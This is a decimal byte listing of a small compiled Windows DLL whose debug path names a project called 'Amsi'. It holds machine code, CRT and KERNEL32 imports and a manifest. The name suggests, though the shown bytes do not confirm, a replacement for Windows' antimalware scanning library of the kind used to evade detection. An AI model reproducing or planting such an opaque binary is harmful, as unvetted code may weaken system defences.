0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
```

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 51 192 194 12 0 59 13 4 48 0 16 242 117 2 242 195 242 233 96 3 0 0 85 139 236 139
69 12 131 232 0 116 51 131 232 1 116 32 131 232 1 116 17 131 232 1 116 5 51 192 64
235 48 232 245 4 0 0 235 5 232 207 4 0 0 15 182 192 235 31 255 117 16 255 117 8 232
24 0 0 0 89 235 16 131 125 16 0 15 149 192 15 182 192 80 232 23 1 0 0 89 93 194 12 0
106 16 104 24 36 0 16 232 123 9 0 0 106 0 232 35 5 0 0 89 132 192 117 7 51 192 233
224 0 0 0 232 40 4 0 0 136 69 227 179 1 136 93 231 131 101 252 0 131 61 60 51 0 16 0
116 7 106 7 232 203 7 0 0 199 5 60 51 0 16 1 0 0 0 232 74 4 0 0 132 192 116 101 232
206 8 0 0 104 186 25 0 16 232 177 6 0 0 232 93 7 0 0 199 4 36 57 24 0 16 232 160 6 0
0 232 112 7 0 0 199 4 36 128 32 0 16 104 124 32 0 16 232 78 11 0 0 89 89 133 192 117
41 232 237 3 0 0 132 192 116 32 104 120 32 0 16 104 116 32 0 16 232 42 11 0 0 89 89
199 5 60 51 0 16 2 0 0 0 50 219 136 93 231 199 69 252 254 255 255 255 232 68 0 0 0
132 219 15 133 76 255 255 255 232 52 7 0 0 139 240 131 62 0 116 30 86 232 40 5 0 0 89
132 192 116 19 255 117 12 106 2 255 117 8 139 54 139 206 232 136 8 0 0 255 214 255 5
24 48 0 16 51 192 64 232 201 8 0 0 195 138 93 231 255 117 227 232 131 5 0 0 89 195
106 12 104 56 36 0 16 232 105 8 0 0 161 24 48 0 16 133 192 127 4 51 192 235 79 72 163
24 48 0 16 232 22 3 0 0 136 69 228 131 101 252 0 131 61 60 51 0 16 2 116 7 106 7 232
190 6 0 0 232 180 3 0 0 131 37 60 51 0 16 0 199 69 252 254 255 255 255 232 27 0 0 0
106 0 255 117 8 232 65 5 0 0 89 89 51 201 132 192 15 149 193 139 193 232 78 8 0 0 195
232 164 3 0 0 255 117 228 232 6 5 0 0 89 195 106 12 104 88 36 0 16 232 236 7 0 0 131
101 252 0 139 125 12 131 255 1 116 10 131 255 2 116 5 139 93 8 235 49 255 117 16 87
139 93 8 83 232 218 0 0 0 139 240 137 117 228 133 246 15 132 190 0 0 0 255 117 16 87
83 232 216 253 255 255 139 240 137 117 228 133 246 15 132 167 0 0 0 131 255 1 117 7
83 232 198 9 0 0 89 255 117 16 87 83 232 159 253 255 255 139 240 137 117 228 131 255
1 117 43 133 246 117 30 255 117 16 80 83 232 135 253 255 255 255 117 16 86 83 232 147
253 255 255 255 117 16 86 83 232 116 0 0 0 131 255 1 117 4 133 246 116 4 133 255 117
11 83 232 130 9 0 0 89 133 255 116 5 131 255 3 117 72 255 117 16 87 83 232 98 253 255
255 139 240 137 117 228 133 246 116 53 255 117 16 87 83 232 58 0 0 0 139 240 235 36
139 77 236 139 1 81 255 48 104 22 16 0 16 255 117 16 255 117 12 255 117 8 232 86 2 0
0 131 196 24 195 139 101 232 51 246 137 117 228 199 69 252 254 255 255 255 139 198
232 54 7 0 0 195 85 139 236 86 139 53 160 32 0 16 133 246 117 5 51 192 64 235 18 255
117 16 139 206 255 117 12 255 117 8 232 193 6 0 0 255 214 94 93 194 12 0 85 139 236
131 125 12 1 117 5 232 88 4 0 0 255 117 16 255 117 12 255 117 8 232 177 254 255 255
131 196 12 93 194 12 0 85 139 236 106 0 255 21 40 32 0 16 255 117 8 255 21 0 32 0 16
104 9 4 0 192 255 21 4 32 0 16 80 255 21 8 32 0 16 93 195 85 139 236 129 236 36 3 0 0
106 23 232 234 8 0 0 133 192 116 5 106 2 89 205 41 163 32 49 0 16 137 13 28 49 0 16
137 21 24 49 0 16 137 29 20 49 0 16 137 53 16 49 0 16 137 61 12 49 0 16 102 140 21 56
49 0 16 102 140 13 44 49 0 16 102 140 29 8 49 0 16 102 140 5 4 49 0 16 102 140 37 0
49 0 16 102 140 45 252 48 0 16 156 143 5 48 49 0 16 139 69 0 163 36 49 0 16 139 69 4
163 40 49 0 16 141 69 8 163 52 49 0 16 139 133 220 252 255 255 199 5 112 48 0 16 1 0
1 0 161 40 49 0 16 163 44 48 0 16 199 5 32 48 0 16 9 4 0 192 199 5 36 48 0 16 1 0 0 0
199 5 48 48 0 16 1 0 0 0 106 4 88 107 192 0 199 128 52 48 0 16 2 0 0 0 106 4 88 107
192 0 139 13 4 48 0 16 137 76 5 248 106 4 88 193 224 0 139 13 0 48 0 16 137 76 5 248
104 164 32 0 16 232 225 254 255 255 139 229 93 195 85 139 236 139 69 8 86 139 72 60 3
200 15 183 65 20 141 81 24 3 208 15 183 65 6 107 240 40 3 242 59 214 116 25 139 77 12
59 74 12 114 10 139 66 8 3 66 12 59 200 114 12 131 194 40 59 214 117 234 51 192 94 93
195 139 194 235 249 232 85 7 0 0 133 192 117 3 50 192 195 100 161 24 0 0 0 86 190 64
51 0 16 139 80 4 235 4 59 208 116 16 51 192 139 202 240 15 177 14 133 192 117 240 50
192 94 195 176 1 94 195 232 32 7 0 0 133 192 116 7 232 118 5 0 0 235 5 232 77 7 0 0
176 1 195 106 0 232 207 0 0 0 132 192 89 15 149 192 195 232 97 7 0 0 132 192 117 3 50
192 195 232 85 7 0 0 132 192 117 7 232 76 7 0 0 235 237 176 1 195 232 66 7 0 0 232 61
7 0 0 176 1 195 85 139 236 232 203 6 0 0 133 192 117 24 131 125 12 1 117 18 255 117
16 139 77 20 80 255 117 8 232 136 4 0 0 255 85 20 255 117 28 255 117 24 232 219 6 0 0
89 89 93 195 232 155 6 0 0 133 192 116 12 104 68 51 0 16 232 220 6 0 0 89 195 232 240
6 0 0 133 192 15 132 217 6 0 0 195 106 0 232 221 6 0 0 89 233 215 6 0 0 85 139 236
131 125 8 0 117 7 198 5 92 51 0 16 1 232 186 4 0 0 232 189 6 0 0 132 192 117 4 50 192
93 195 232 176 6 0 0 132 192 117 10 106 0 232 165 6 0 0 89 235 233 176 1 93 195 85

139 236 131 236 12 86 139 117 8 133 246 116 5 131 254 1 117 124 232 31 6 0 0 133 192
116 42 133 246 117 38 104 68 51 0 16 232 80 6 0 0 89 133 192 116 4 50 192 235 87 104
80 51 0 16 232 61 6 0 0 247 216 89 26 192 254 192 235 68 161 4 48 0 16 141 117 244 87
131 224 31 191 68 51 0 16 106 32 89 43 200 131 200 255 211 200 51 5 4 48 0 16 137 69
244 137 69 248 137 69 252 165 165 165 191 80 51 0 16 137 69 244 137 69 248 141 117
244 137 69 252 176 1 165 165 165 95 94 139 229 93 195 106 5 232 6 2 0 0 204 106 8 104
120 36 0 16 232 117 3 0 0 131 101 252 0 184 77 90 0 0 102 57 5 0 0 0 16 117 96 161 60
0 0 16 129 184 0 0 0 16 80 69 0 0 117 79 185 11 1 0 0 102 57 136 24 0 0 16 117 65 139
69 8 185 0 0 0 16 43 193 80 81 232 180 253 255 255 89 89 133 192 116 42 247 64 36 0 0
0 128 117 33 199 69 252 254 255 255 255 176 1 235 31 139 69 236 139 0 51 201 129 56 5
0 0 192 15 148 193 139 193 195 139 101 232 199 69 252 254 255 255 255 50 192 232 59 3
0 0 195 85 139 236 232 11 5 0 0 133 192 116 15 128 125 8 0 117 9 51 192 185 64 51 0
16 135 1 93 195 85 139 236 128 61 92 51 0 16 0 116 6 128 125 12 0 117 18 255 117 8
232 67 5 0 0 255 117 8 232 59 5 0 0 89 89 176 1 93 195 85 139 236 161 4 48 0 16 139
200 51 5 68 51 0 16 131 225 31 255 117 8 211 200 131 248 255 117 7 232 1 5 0 0 235 11
104 68 51 0 16 232 233 4 0 0 89 247 216 89 27 192 247 208 35 69 8 93 195 85 139 236
255 117 8 232 186 255 255 255 247 216 89 27 192 247 216 72 93 195 85 139 236 131 236
20 131 101 244 0 131 101 248 0 161 4 48 0 16 86 87 191 78 230 64 187 190 0 0 255 255
59 199 116 13 133 198 116 9 247 208 163 0 48 0 16 235 102 141 69 244 80 255 21 28 32
0 16 139 69 248 51 69 244 137 69 252 255 21 32 32 0 16 49 69 252 255 21 36 32 0 16 49
69 252 141 69 236 80 255 21 16 32 0 16 139 77 240 141 69 252 51 77 236 51 77 252 51
200 59 207 117 7 185 79 230 64 187 235 16 133 206 117 12 139 193 13 17 71 0 0 193 224
16 11 200 137 13 4 48 0 16 247 209 137 13 0 48 0 16 95 94 139 229 93 195 104 96 51 0
16 255 21 24 32 0 16 195 104 96 51 0 16 232 229 3 0 0 89 195 184 104 51 0 16 195 184
112 51 0 16 195 232 239 255 255 255 139 72 4 131 8 4 137 72 4 232 231 255 255 255 139
72 4 131 8 2 137 72 4 195 184 132 51 0 16 195 85 139 236 129 236 36 3 0 0 83 86 106
23 232 234 3 0 0 133 192 116 5 139 77 8 205 41 51 246 141 133 220 252 255 255 104 204
2 0 0 86 80 137 53 120 51 0 16 232 133 3 0 0 131 196 12 137 133 140 253 255 255 137
141 136 253 255 255 137 149 132 253 255 255 137 157 128 253 255 255 137 181 124 253
255 255 137 189 120 253 255 255 102 140 149 164 253 255 255 102 140 141 152 253 255
255 102 140 157 116 253 255 255 102 140 133 112 253 255 255 102 140 165 108 253 255
255 102 140 173 104 253 255 255 156 143 133 156 253 255 255 139 69 4 137 133 148 253
255 255 141 69 4 137 133 160 253 255 255 199 133 220 252 255 255 1 0 1 0 139 64 252
106 80 137 133 144 253 255 255 141 69 168 86 80 232 252 2 0 0 139 69 4 131 196 12 199
69 168 21 0 0 64 199 69 172 1 0 0 0 137 69 180 255 21 20 32 0 16 86 141 88 255 247
219 141 69 168 137 69 248 141 133 220 252 255 255 26 219 137 69 252 254 195 255 21 40
32 0 16 141 69 248 80 255 21 0 32 0 16 133 192 117 13 15 182 195 247 216 27 192 33 5
120 51 0 16 94 91 139 229 93 195 83 86 190 8 36 0 16 187 8 36 0 16 59 243 115 24 87
139 62 133 255 116 9 139 207 232 56 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91
195 83 86 190 16 36 0 16 187 16 36 0 16 59 243 115 24 87 139 62 133 255 116 9 139 207
232 13 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91 195 255 37 112 32 0 16 204 204
204 204 204 104 75 26 0 16 100 255 53 0 0 0 0 139 68 36 16 137 108 36 16 141 108 36
16 43 224 83 86 87 161 4 48 0 16 49 69 252 51 197 80 137 101 232 255 117 248 139 69
252 199 69 252 254 255 255 255 137 69 248 141 69 240 100 163 0 0 0 0 242 195 139 77
240 100 137 13 0 0 0 0 89 95 95 94 91 139 229 93 81 242 195 85 139 236 255 117 20 255
117 16 255 117 12 255 117 8 104 5 16 0 16 104 4 48 0 16 232 203 1 0 0 131 196 24 93
195 85 139 236 131 37 124 51 0 16 0 131 236 44 83 51 219 67 9 29 16 48 0 16 106 10
232 228 1 0 0 133 192 15 132 116 1 0 0 131 101 236 0 51 192 131 13 16 48 0 16 2 51
201 86 87 137 29 124 51 0 16 141 125 212 83 15 162 139 243 91 137 7 137 119 4 137 79
8 137 87 12 139 69 212 139 77 224 137 69 244 129 241 105 110 101 73 139 69 220 53 110
116 101 108 11 200 139 69 216 53 71 101 110 117 11 200 247 217 106 1 88 26 201 106 0
128 193 1 89 83 15 162 139 243 91 137 7 137 119 4 137 79 8 137 87 12 116 67 139 69
212 37 240 63 255 15 61 192 6 1 0 116 35 61 96 6 2 0 116 28 61 112 6 2 0 116 21 61 80
6 3 0 116 14 61 96 6 3 0 116 7 61 112 6 3 0 117 17 139 61 128 51 0 16 131 207 1 137
61 128 51 0 16 235 6 139 61 128 51 0 16 131 125 244 7 139 69 224 137 69 228 139 69
220 137 69 248 137 69 232 124 50 106 7 88 51 201 83 15 162 139 243 91 141 93 212 137
3 137 115 4 137 75 8 137 83 12 139 69 216 169 0 2 0 0 137 69 236 139 69 248 116 9 131
207 2 137 61 128 51 0 16 95 94 169 0 0 16 0 116 109 131 13 16 48 0 16 4 199 5 124 51
0 16 2 0 0 0 169 0 0 0 8 116 85 169 0 0 0 16 116 78 51 201 15 1 208 137 69 240 137 85

244 139 69 240 139 77 244 131 224 6 51 201 131 248 6 117 51 133 201 117 47 161 16 48
0 16 131 200 8 199 5 124 51 0 16 3 0 0 0 246 69 236 32 163 16 48 0 16 116 18 131 200
32 199 5 124 51 0 16 5 0 0 0 163 16 48 0 16 51 192 91 139 229 93 195 51 192 57 5 20
48 0 16 15 149 192 195 195 255 37 52 32 0 16 255 37 60 32 0 16 255 37 56 32 0 16 255
37 48 32 0 16 255 37 64 32 0 16 255 37 104 32 0 16 255 37 100 32 0 16 255 37 96 32 0
16 255 37 92 32 0 16 255 37 88 32 0 16 255 37 84 32 0 16 255 37 80 32 0 16 255 37 76
32 0 16 255 37 72 32 0 16 255 37 12 32 0 16 176 1 195 51 192 195 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 38 0 0 0 39 0
0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39 0 0 94 39 0 0
226 38 0 0 0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0 0 0 0 0 0 154
38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250 37 0 0 238 37
0 0 0 0 0 0 27 28 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 48 0 16 112 48 0 16 0 0 0 0 0 0 0 0 144 29 62 87
0 0 0 0 2 0 0 0 61 0 0 0 132 33 0 0 132 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 12 0 0 0
20 0 0 0 196 33 0 0 196 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 13 0 0 0 44 2 0 0 216 33
0 0 216 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 92 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 4 48 0 16 128 33 0 16 1 0 0 0 112 32 0 16 0 0 0 0 0 0 0 0 0
0 0 0 0 1 0 0 0 0 0 0 75 26 0 0 82 83 68 83 69 10 117 219 0 114 41 77 133 149 98 78
29 103 122 248 7 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109
115 105 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0 0
20 0 0 0 20 0 0 0 1 0 0 0 19 0 0 0 71 67 84 76 0 16 0 0 124 12 0 0 46 116 101 120 116
36 109 110 0 0 0 0 0 32 0 0 112 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 112 32 0 0 4
0 0 0 46 48 48 99 102 103 0 0 116 32 0 0 4 0 0 0 46 67 82 84 36 88 67 65 0 0 0 0 120
32 0 0 4 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 124 32 0 0 4 0 0 0 46 67 82 84 36 88
73 65 0 0 0 0 128 32 0 0 4 0 0 0 46 67 82 84 36 88 73 90 0 0 0 0 132 32 0 0 4 0 0 0
46 67 82 84 36 88 80 65 0 0 0 0 136 32 0 0 4 0 0 0 46 67 82 84 36 88 80 90 0 0 0 0
140 32 0 0 4 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 144 32 0 0 4 0 0 0 46 67 82 84 36
88 84 90 0 0 0 0 160 32 0 0 220 0 0 0 46 114 100 97 116 97 0 0 128 33 0 0 4 0 0 0 46
114 100 97 116 97 36 115 120 100 97 116 97 0 0 0 132 33 0 0 128 2 0 0 46 114 100 97
116 97 36 122 122 122 100 98 103 0 0 0 4 36 0 0 4 0 0 0 46 114 116 99 36 73 65 65 0 0
0 0 8 36 0 0 4 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 12 36 0 0 4 0 0 0 46 114 116
99 36 84 65 65 0 0 0 0 16 36 0 0 4 0 0 0 46 114 116 99 36 84 90 90 0 0 0 0 24 36 0 0
124 0 0 0 46 120 100 97 116 97 36 120 0 0 0 0 148 36 0 0 60 0 0 0 46 105 100 97 116
97 36 50 0 0 0 0 208 36 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 228 36 0 0
112 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 84 37 0 0 136 2 0 0 46 105 100 97 116 97
36 54 0 0 0 0 0 48 0 0 24 0 0 0 46 100 97 116 97 0 0 0 24 48 0 0 112 3 0 0 46 98 115
115 0 0 0 0 0 64 0 0 20 0 0 0 46 103 102 105 100 115 36 121 0 0 0 0 0 80 0 0 88 0 0 0
46 114 115 114 99 36 48 49 0 0 0 0 96 80 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 208 255 255 255 0
0 0 0 254 255 255 255 0 0 0 0 110 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212 255 255
255 0 0 0 0 254 255 255 255 0 0 0 0 233 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212
255 255 255 0 0 0 0 254 255 255 255 203 18 0 16 234 18 0 16 0 0 0 0 254 255 255 255 0
0 0 0 216 255 255 255 0 0 0 0 254 255 255 255 215 22 0 16 234 22 0 16 20 37 0 0 0 0 0
0 0 0 0 0 220 37 0 0 48 32 0 0 44 37 0 0 0 0 0 0 0 0 0 0 164 38 0 0 72 32 0 0 228 36
0 0 0 0 0 0 0 0 0 0 206 39 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198
38 0 0 0 39 0 0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39
0 0 94 39 0 0 226 38 0 0 0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0
0 0 0 0 0 154 38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250
37 0 0 238 37 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97
105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101 114 0 41 0 95 95 116

101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116 117 114 110 95 116
114 105 103 103 101 114 0 37 0 95 95 115 116 100 95 116 121 112 101 95 105 110 102
111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 72 0 109 101 109 115 101
116 0 0 53 0 95 101 120 99 101 112 116 95 104 97 110 100 108 101 114 52 95 99 111 109
109 111 110 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 56 0 95 105 110
105 116 116 101 114 109 0 57 0 95 105 110 105 116 116 101 114 109 95 101 0 65 0 95
115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 53 0 95 105 110 105 116 105
97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109 101
110 116 0 0 54 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105 116
95 116 97 98 108 101 0 0 62 0 95 114 101 103 105 115 116 101 114 95 111 110 101 120
105 116 95 102 117 110 99 116 105 111 110 0 36 0 95 101 120 101 99 117 116 101 95 111
110 101 120 105 116 95 116 97 98 108 101 0 31 0 95 99 114 116 95 97 116 101 120 105
116 0 23 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99 114
116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 130 5 85
110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101
114 0 0 67 5 83 101 116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105
111 110 70 105 108 116 101 114 0 9 2 71 101 116 67 117 114 114 101 110 116 80 114 111
99 101 115 115 0 97 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0
109 3 73 115 80 114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101
115 101 110 116 0 45 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67
111 117 110 116 101 114 0 10 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99
101 115 115 73 100 0 14 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100
73 100 0 0 214 2 71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108
101 84 105 109 101 0 75 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72
101 97 100 0 103 3 73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0
75 69 82 78 69 76 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 177 25 191 68 78 230 64 187 255 255 255 255 0 0 0 0 1 0
0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76 0 0 0 12 0 0 0 10 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 24 0 0 0 24 0
0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0
1 0 9 4 0 0 72 0 0 0 96 80 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 60 63 120
109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105
110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121
101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39
117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99
111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115
105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32

```
120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114
111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60
115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115
116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32
60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118
101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105
65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60
47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13
10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117
115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 0 12 1 0 0 7 48
108 48 155 48 171 48 194 48 211 48 228 48 233 48 2 49 7 49 20 49 97 49 126 49 136 49
150 49 168 49 189 49 251 49 212 50 7 51 85 51 94 51 105 51 112 51 144 51 150 51 156
